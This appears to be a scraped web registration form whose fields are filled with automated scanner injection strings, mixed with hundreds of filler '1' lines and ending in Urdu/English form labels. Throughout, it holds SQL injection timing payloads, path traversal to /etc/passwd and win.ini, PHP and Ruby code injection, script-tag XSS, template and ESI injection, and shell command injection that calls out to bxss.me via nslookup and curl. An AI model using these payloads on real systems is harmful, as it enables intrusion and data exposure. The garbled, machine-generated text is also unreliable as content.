1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1'"
1
1
1
1
1
1
1
1
@@zKDxZ
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999742+9999147}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n965614=v914410
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
file:///etc/passwd
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
1
!(()&&!|*|*|
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitxz'.'vokocntadbed3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(78).chr(119).chr(82).'
1
".gethostbyname(lc("hithc"."vsftxanha5db2.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(76).chr(108).chr(66)."
1
'"()
1
1
1
1'&&sleep(27*1000)*arnohi&&'
1
1
1
1"&&sleep(27*1000)*dibayw&&"
1
1
1'||sleep(27*1000)*jprtzv||'
1
1
1"||sleep(27*1000)*dstbbu||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
create
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
create/.
';print(md5(31337));$a='
1
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(118).concat(66).concat(107).concat(74)+(require"socket" Socket.gethostbyname("hitld"+"zwtruoaa3ada4.bxss.me.")[3].to_s)+"
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(106).concat(85).concat(101).concat(76)+(require'socket' Socket.gethostbyname('hiteg'+'gmjrdmyo3f3c2.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
<!--
1
1
1
1
1
1
response.write(9760608*9083991)
1
1
1
1
'+response.write(9760608*9083991)+'
1
1
1'"()&%<zzz><ScRiPt >M78e(9793)</ScRiPt>
1
"+response.write(9760608*9083991)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >M78e(9827)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
9hdUjK1v
1
1
1
19865374
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo hvhidf$()\ tpnimo\nz^xyu||a #' &echo hvhidf$()\ tpnimo\nz^xyu||a #|" &echo hvhidf$()\ tpnimo\nz^xyu||a #
1
1
1
1
&echo maexio$()\ lkdywd\nz^xyu||a #' &echo maexio$()\ lkdywd\nz^xyu||a #|" &echo maexio$()\ lkdywd\nz^xyu||a #
1
1
1
bfg6163＜s1﹥s2ʺs3ʹhjl6163
1&echo gkixzu$()\ gwiiye\nz^xyu||a #' &echo gkixzu$()\ gwiiye\nz^xyu||a #|" &echo gkixzu$()\ gwiiye\nz^xyu||a #
1
1
1
1
1
|echo wrmjyu$()\ oihipr\nz^xyu||a #' |echo wrmjyu$()\ oihipr\nz^xyu||a #|" |echo wrmjyu$()\ oihipr\nz^xyu||a #
1
1
1
1
1|echo owixdz$()\ rasege\nz^xyu||a #' |echo owixdz$()\ rasege\nz^xyu||a #|" |echo owixdz$()\ rasege\nz^xyu||a #
1
1
1
1
1
1
1
(nslookup -q=cname hitnosvbapbbf2464e.bxss.me||curl hitnosvbapbbf2464e.bxss.me))
1
1
1
1
bfgx5783
$(nslookup -q=cname hitzqegxnwfio93345.bxss.me||curl hitzqegxnwfio93345.bxss.me)
1
1
1
1
1
&nslookup -q=cname hitvhdlxbewrkfbb56.bxss.me&'\"`0&nslookup -q=cname hitvhdlxbewrkfbb56.bxss.me&`'
1
1
1
&(nslookup -q=cname hitmsitnttuuk4ba40.bxss.me||curl hitmsitnttuuk4ba40.bxss.me)&'\"`0&(nslookup -q=cname hitmsitnttuuk4ba40.bxss.me||curl hitmsitnttuuk4ba40.bxss.me)&`'
1
1
1
|(nslookup -q=cname hitzghabweiyjdf226.bxss.me||curl hitzghabweiyjdf226.bxss.me)
1
1
1
1
1
`(nslookup -q=cname hitzsbuobbeym2f29f.bxss.me||curl hitzsbuobbeym2f29f.bxss.me)`
1
1
;(nslookup -q=cname hitybztytylbvec8a0.bxss.me||curl hitybztytylbvec8a0.bxss.me)|(nslookup -q=cname hitybztytylbvec8a0.bxss.me||curl hitybztytylbvec8a0.bxss.me)&(nslookup -q=cname hitybztytylbvec8a0.b
1
1
1
<%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<th:t="${dfb}#foreach
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
dfb{{98991*97996}}xca
1
1
1
1
1
1
1
1
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
1
1
1
1
1
1
1
1
dfb__${98991*97996}__::.x
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
1
1
1
1
1
1
1
19701"();}]9812
1
1
1
1
1
1
1
1
1
1
1
%31%39%34%39%34%22%28%29%3B%7D%5D%39%38%30%35
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1</script><script>M78e(9822)</script>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
12345'"\'\");|]* { < >
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
${9999387+9999092}
Http://bxss.me/t/fit.txt
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
/etc/shells
1
1
c:/windows/win.ini
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n905658=v973457
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1TmGCFpUS
1
1
1
1
1
1
1
1
1
-1 OR 2+932-932-1=0+0+0+1 --
../../../../../../../../../../../../../../etc/passwd
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
file:///etc/passwd
-1 OR 2+181-181-1=0+0+0+1
1
)
-1' OR 2+580-580-1=0+0+0+1 --
1
1
!(()&&!|*|*|
1
-1' OR 2+518-518-1=0+0+0+1 or 'vDednESb'='
1
../1
^(#$!@#$)(()))******
1
-1" OR 2+672-672-1=0+0+0+1 --
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1qOtMefto'; waitfor delay '0:0:15' --
1
1
1
1
1-1 OR 599=(SELECT 599 FROM PG_SLEEP(15))--
1
1
1
1
1-1) OR 844=(SELECT 844 FROM PG_SLEEP(15))--
1
1
1
1-1)) OR 116=(SELECT 116 FROM PG_SLEEP(15))--
1
1
1
1
1ucOeoYNB' OR 861=(SELECT 861 FROM PG_SLEEP(15))--
1
1
1
1
10tphizjr') OR 275=(SELECT 275 FROM PG_SLEEP(15))--
1
1
1
1
1
1f9ETaQ7u')) OR 550=(SELECT 550 FROM PG_SLEEP(15))--
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
1
1
@@umlhW
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
'.gethostbyname(lc('hitxs'.'ksxxffllfb7f6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(86).chr(108).chr(80).'
1
1'&&sleep(27*1000)*iziufc&&'
1
".gethostbyname(lc("hitif"."zchfaept17963.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(87).chr(119).chr(78)."
1
1
1"&&sleep(27*1000)*yyhfnu&&"
1
1
1
1'||sleep(27*1000)*ggliqw||'
1
1
1
1
1"||sleep(27*1000)*kcshlj||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
1
create
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
create/.
1
1
';print(md5(31337));$a='
1
xfs.bxss.me
1
1
1
";print(md5(31337));$a="
1
1
1
${@print(md5(31337))}
1
1
1
1
1
${@print(md5(31337))}\
1
1
'.print(md5(31337)).'
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(110).concat(78).concat(108).concat(79)+(require"socket" Socket.gethostbyname("hitcl"+"ygzyseplb6241.bxss.me.")[3].to_s)+"
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(112).concat(76).concat(119).concat(65)+(require'socket' Socket.gethostbyname('hitvb'+'ecrvaiuraddf0.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >ab1O(9070)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9672745*9435802)
1
1
1
1
'+response.write(9672745*9435802)+'
1
1
1
1
"+response.write(9672745*9435802)+"
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >ab1O(9786)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19968166
1
1
1
1
1
echo bdhsoc$()\ sgklss\nz^xyu||a #' &echo bdhsoc$()\ sgklss\nz^xyu||a #|" &echo bdhsoc$()\ sgklss\nz^xyu||a #
1
1
1
1
&echo cjlqqk$()\ fbaddr\nz^xyu||a #' &echo cjlqqk$()\ fbaddr\nz^xyu||a #|" &echo cjlqqk$()\ fbaddr\nz^xyu||a #
1
1
1
1
1
1&echo mdetwr$()\ dsbjmz\nz^xyu||a #' &echo mdetwr$()\ dsbjmz\nz^xyu||a #|" &echo mdetwr$()\ dsbjmz\nz^xyu||a #
1
1
1
1
1
1
1
1
|echo lsoron$()\ gefnxb\nz^xyu||a #' |echo lsoron$()\ gefnxb\nz^xyu||a #|" |echo lsoron$()\ gefnxb\nz^xyu||a #
1
1
1
1
1
1
1
1|echo xpmwlp$()\ vftfkh\nz^xyu||a #' |echo xpmwlp$()\ vftfkh\nz^xyu||a #|" |echo xpmwlp$()\ vftfkh\nz^xyu||a #
1
1
1
1
1
(nslookup -q=cname hitmuxzgktirac5c2f.bxss.me||curl hitmuxzgktirac5c2f.bxss.me))
1
1
1
1
$(nslookup -q=cname hitcdtlflfpnq101e7.bxss.me||curl hitcdtlflfpnq101e7.bxss.me)
1
1
1
1
&nslookup -q=cname hithnaonudtvn1bb6f.bxss.me&'\"`0&nslookup -q=cname hithnaonudtvn1bb6f.bxss.me&`'
1
1
1
bfg1830＜s1﹥s2ʺs3ʹhjl1830
1
1
&(nslookup -q=cname hitolkedkxlfw5d5b5.bxss.me||curl hitolkedkxlfw5d5b5.bxss.me)&'\"`0&(nslookup -q=cname hitolkedkxlfw5d5b5.bxss.me||curl hitolkedkxlfw5d5b5.bxss.me)&`'
1
1
1
1
1
1
1
1
|(nslookup -q=cname hitqijetgqmepfcb75.bxss.me||curl hitqijetgqmepfcb75.bxss.me)
1
1
1
1
1
`(nslookup -q=cname hitinvydetiebfb4ae.bxss.me||curl hitinvydetiebfb4ae.bxss.me)`
1
1
;(nslookup -q=cname hitqfhcfaicgi8b173.bxss.me||curl hitqfhcfaicgi8b173.bxss.me)|(nslookup -q=cname hitqfhcfaicgi8b173.bxss.me||curl hitqfhcfaicgi8b173.bxss.me)&(nslookup -q=cname hitqfhcfaicgi8b173.b
1
1
1
Zn8CloMG
bfgx1146
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<th:t="${dfb}#foreach
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb{{98991*97996}}xca
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb__${98991*97996}__::.x
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
1
1
1
1
1
1
19374"();}]9167
1
1
1
1
1
1
1
1
1
%31%39%32%34%30%22%28%29%3B%7D%5D%39%39%34%33
1
1
1
1
1
1
1
1
1
1
1</script><script>ab1O(9998)</script>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
Disable
Add Your Department اپنا محکمہ شامل کریں۔
Password (پاس ورڈ)
Confirm Password (پاس ورڈ کی تصدیق کریں)
Already registered?
Register
